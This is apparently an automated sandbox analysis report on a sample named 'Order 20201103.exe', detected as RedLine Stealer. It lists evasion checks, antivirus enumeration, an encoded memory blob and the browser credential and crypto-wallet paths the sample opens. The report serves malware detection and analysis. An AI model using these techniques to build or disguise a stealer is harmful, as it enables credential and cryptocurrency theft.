Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Order 20201103.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Order 20201103.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Binary contains a suspicious time stamp

Source: Order 20201103.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685

Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Order 20201103.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Order 20201103.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Users\user\Desktop\Order 20201103.exe	Memory allocated: 26D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Memory allocated: 2770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Memory allocated: 4770000 memory reserve \| memory write watch	Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Users\user\Desktop\Order 20201103.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Users\user\Desktop\Order 20201103.exe	Window / User API: threadDelayed 1156			Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Window / User API: threadDelayed 3894			Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\Order 20201103.exe TID: 6724	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe TID: 6684	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe TID: 6568	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Order 20201103.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Order 20201103.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: tmpD385.tmp.0.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: tmpD385.tmp.0.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: tmpD385.tmp.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: tmpD385.tmp.0.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: tmpD385.tmp.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: Order 20201103.exe, 00000000.00000002.1096314294.0000000000A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmpD385.tmp.0.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: tmpD385.tmp.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: tmpD385.tmp.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: tmpD385.tmp.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: tmpD385.tmp.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: tmpD385.tmp.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: tmpD385.tmp.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: tmpD385.tmp.0.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: tmpD385.tmp.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: tmpD385.tmp.0.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: tmpD385.tmp.0.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: tmpD385.tmp.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: tmpD385.tmp.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: tmpD385.tmp.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\Order 20201103.exe

Process information queried: ProcessInformation

Jump to behavior

Enables debug privileges

Source: C:\Users\user\Desktop\Order 20201103.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe

Memory allocated: page read and write | page guard

Jump to behavior

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Users\user\Desktop\Order 20201103.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

AV process strings found (often used to terminate AV products)

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: Order 20201103.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $Vr0C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxxLiberty
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\wallets`A
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereumt`
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $Vr4C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Yara detected Credential Stealer

Source: Yara match	File source: Order 20201103.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: Order 20201103.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR

ID:	1637202
Product:	CloudBasic
Start time:	12:01:18
Start date:	13.03.2025
